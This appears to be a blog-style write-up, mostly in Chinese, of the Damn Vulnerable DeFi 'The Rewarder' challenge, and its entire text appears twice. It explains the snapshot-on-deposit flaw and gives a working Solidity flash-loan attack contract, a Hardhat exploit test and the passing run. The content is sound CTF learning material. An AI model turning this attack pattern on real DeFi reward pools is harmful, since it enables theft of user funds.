web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?
目标: 取走奖励池中的大部分奖励代币
after(async function () {
/** SUCCESS CONDITIONS */
// Only one round should have taken place
expect(await this.rewarderPool.roundNumber()).to.be.eq("3");
// Users should get neglegible rewards this round
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
let rewards = await this.rewardToken.balanceOf(users[i].address);
// The difference between current and previous rewards balance should be lower than 0.01 tokens
let delta = rewards.sub(ethers.utils.parseEther("25"));
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 16));
}
// Rewards must have been issued to the attacker account
expect(await this.rewardToken.totalSupply()).to.be.gt(ethers.utils.parseEther("100"));
let rewards = await this.rewardToken.balanceOf(attacker.address);
// The amount of rewards earned should be really close to 100 tokens
let delta = ethers.utils.parseEther("100").sub(rewards);
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 17));
// Attacker finishes with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0");
});
RewardToken.sol ERC20奖励代币合约,通过构造函数被创建时设置admin和minter角色
FlashLoanerPool.sol 闪电贷池合约,常规的闪电贷逻辑
AccountingToken.sol 继承自ERC20Snapshot ,带快照功能的ERC20 token ,通过与奖励池交互来记录用户的存款和取款
TheRewarderPool.sol 奖励池合约
deposit 存款函数
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
check 存款金额大于0
mint出DVT token 1:1 Acctoken作为存款记录
执行distributeRewards 发放奖励
最后进行存入DVT token的实际转帐操作
withdraw取款函数
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
燃烧掉accToken
从奖励池中取回DVT token
isNewRewardsRound新轮奖励判定函数通过时间戳block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION 判定当前时间是否大于上一轮领取奖励快照时间+奖励间隔时间(5天), 判断是否可以进行新一轮奖励领取
distributeRewards 奖励分发函数
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
check 如果能开启新一轮奖励领取,则进行快照
totalDeposits 上一轮快照时DVT token存入的总额
amountDeposited 上一轮快照时用户存入的DVT token金额
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits 奖励金额计算公式
check 奖励金额以及是否领取过本轮奖励,并执行领取奖励记录领取时间
漏洞 :在新一轮奖励开启时, 可以通过deposit 函数存款触发快照,并立即领取奖励
等待直到下一轮奖励开启的时间 (在模拟环境中直接操控时间增加5天)
闪电贷借出池子所有余额
将借出的DVT token存入奖励池中将立即触发快照, 由于通过闪电贷借出存入了大量token,因此将领取出几乎所有的奖励币
立即从奖励池中取出刚刚出入的DVT token
还款给闪电贷池, 完成闪电贷操作
从攻击合约中取出奖励币
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDVAtoken {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IRToken {
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IRPool {
function liquidityToken() external returns (IDVAtoken);
function rewardToken() external returns (IRToken);
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
function distributeRewards() external returns (uint256);
}
interface IFPool {
function flashLoan(uint256 amount) external;
}
interface IFReceiver {
function receiveFlashLoan(uint256 amount) external;
}
contract AttackRewarder is IFReceiver {
IFPool immutable flashLoanerPool;
IRPool immutable rewarderPool;
IDVAtoken immutable liquidityToken;
IRToken immutable rewardToken;
address immutable attacker;
uint256 immutable TOKENS_IN_LENDER_POOL;
constructor(
uint256 _tokensInLenderPool,
address _flashLoanerPool,
address _rewarderPool
) {
attacker = msg.sender;
TOKENS_IN_LENDER_POOL = _tokensInLenderPool;
flashLoanerPool = IFPool(_flashLoanerPool);
rewarderPool = IRPool(_rewarderPool);
liquidityToken = IRPool(_rewarderPool).liquidityToken();
rewardToken = IRPool(_rewarderPool).rewardToken();
}
function attack() external {
flashLoanerPool.flashLoan(TOKENS_IN_LENDER_POOL);
}
function receiveFlashLoan(uint256 amount) external override {
liquidityToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
uint256 rewards = rewarderPool.distributeRewards();
rewardToken.transfer(attacker, rewards);
rewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanerPool), amount);
}
}
it("Exploit", async function () {
// * CODE YOUR EXPLOIT HERE
const AttackFactory = await ethers.getContractFactory("AttackRewarder", attacker);
const attack = await AttackFactory.deploy(
TOKENS_IN_LENDER_POOL,
this.flashLoanPool.address,
this.rewarderPool.address,
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await attack.attack();
});
运行通过
❯ yarn run the-rewarder
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/the-rewarder/the-rewarder.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/the-rewarder/the-rewarder.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] The rewarder
✓ Exploit (184ms)
1 passing (3s)
Done in 5.34s.
Twitter: @0xRunstar
There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?
目标: 取走奖励池中的大部分奖励代币
after(async function () {
/** SUCCESS CONDITIONS */
// Only one round should have taken place
expect(await this.rewarderPool.roundNumber()).to.be.eq("3");
// Users should get neglegible rewards this round
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
let rewards = await this.rewardToken.balanceOf(users[i].address);
// The difference between current and previous rewards balance should be lower than 0.01 tokens
let delta = rewards.sub(ethers.utils.parseEther("25"));
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 16));
}
// Rewards must have been issued to the attacker account
expect(await this.rewardToken.totalSupply()).to.be.gt(ethers.utils.parseEther("100"));
let rewards = await this.rewardToken.balanceOf(attacker.address);
// The amount of rewards earned should be really close to 100 tokens
let delta = ethers.utils.parseEther("100").sub(rewards);
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 17));
// Attacker finishes with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0");
});
RewardToken.sol ERC20奖励代币合约,通过构造函数被创建时设置admin和minter角色
FlashLoanerPool.sol 闪电贷池合约,常规的闪电贷逻辑
AccountingToken.sol 继承自ERC20Snapshot ,带快照功能的ERC20 token ,通过与奖励池交互来记录用户的存款和取款
TheRewarderPool.sol 奖励池合约
deposit 存款函数
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
check 存款金额大于0
mint出DVT token 1:1 Acctoken作为存款记录
执行distributeRewards 发放奖励
最后进行存入DVT token的实际转帐操作
withdraw取款函数
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
燃烧掉accToken
从奖励池中取回DVT token
isNewRewardsRound新轮奖励判定函数通过时间戳block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION 判定当前时间是否大于上一轮领取奖励快照时间+奖励间隔时间(5天), 判断是否可以进行新一轮奖励领取
distributeRewards 奖励分发函数
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
check 如果能开启新一轮奖励领取,则进行快照
totalDeposits 上一轮快照时DVT token存入的总额
amountDeposited 上一轮快照时用户存入的DVT token金额
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits 奖励金额计算公式
check 奖励金额以及是否领取过本轮奖励,并执行领取奖励记录领取时间
漏洞 :在新一轮奖励开启时, 可以通过deposit 函数存款触发快照,并立即领取奖励
等待直到下一轮奖励开启的时间 (在模拟环境中直接操控时间增加5天)
闪电贷借出池子所有余额
将借出的DVT token存入奖励池中将立即触发快照, 由于通过闪电贷借出存入了大量token,因此将领取出几乎所有的奖励币
立即从奖励池中取出刚刚出入的DVT token
还款给闪电贷池, 完成闪电贷操作
从攻击合约中取出奖励币
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDVAtoken {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IRToken {
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IRPool {
function liquidityToken() external returns (IDVAtoken);
function rewardToken() external returns (IRToken);
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
function distributeRewards() external returns (uint256);
}
interface IFPool {
function flashLoan(uint256 amount) external;
}
interface IFReceiver {
function receiveFlashLoan(uint256 amount) external;
}
contract AttackRewarder is IFReceiver {
IFPool immutable flashLoanerPool;
IRPool immutable rewarderPool;
IDVAtoken immutable liquidityToken;
IRToken immutable rewardToken;
address immutable attacker;
uint256 immutable TOKENS_IN_LENDER_POOL;
constructor(
uint256 _tokensInLenderPool,
address _flashLoanerPool,
address _rewarderPool
) {
attacker = msg.sender;
TOKENS_IN_LENDER_POOL = _tokensInLenderPool;
flashLoanerPool = IFPool(_flashLoanerPool);
rewarderPool = IRPool(_rewarderPool);
liquidityToken = IRPool(_rewarderPool).liquidityToken();
rewardToken = IRPool(_rewarderPool).rewardToken();
}
function attack() external {
flashLoanerPool.flashLoan(TOKENS_IN_LENDER_POOL);
}
function receiveFlashLoan(uint256 amount) external override {
liquidityToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
uint256 rewards = rewarderPool.distributeRewards();
rewardToken.transfer(attacker, rewards);
rewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanerPool), amount);
}
}
it("Exploit", async function () {
// * CODE YOUR EXPLOIT HERE
const AttackFactory = await ethers.getContractFactory("AttackRewarder", attacker);
const attack = await AttackFactory.deploy(
TOKENS_IN_LENDER_POOL,
this.flashLoanPool.address,
this.rewarderPool.address,
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await attack.attack();
});
运行通过
❯ yarn run the-rewarder
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/the-rewarder/the-rewarder.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/the-rewarder/the-rewarder.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] The rewarder
✓ Exploit (184ms)
1 passing (3s)
Done in 5.34s.
Twitter: @0xRunstar
No activity yet